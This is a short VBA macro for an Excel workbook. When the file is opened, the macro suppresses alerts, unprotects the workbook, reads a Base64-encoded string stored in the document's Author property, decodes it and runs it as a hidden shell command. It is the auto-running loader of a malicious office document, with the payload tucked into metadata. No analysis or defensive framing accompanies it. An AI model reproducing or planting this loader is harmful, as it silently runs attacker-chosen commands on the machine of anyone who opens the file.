Private Sub Workbook_Open() Application.DisplayAlerts = False ThisWorkbook.Unprotect On Error GoTo 10 Application.OnTime Now + TimeValue("00:00:01"), "Launch" Exit Sub 10: Launch Resume Next End Sub Sub Launch() b_64 = ThisWorkbook.BuiltinDocumentProperties("Author") strCommand = Base64DecodeString(b_64) Call Shell(strCommand, vbHide) End Sub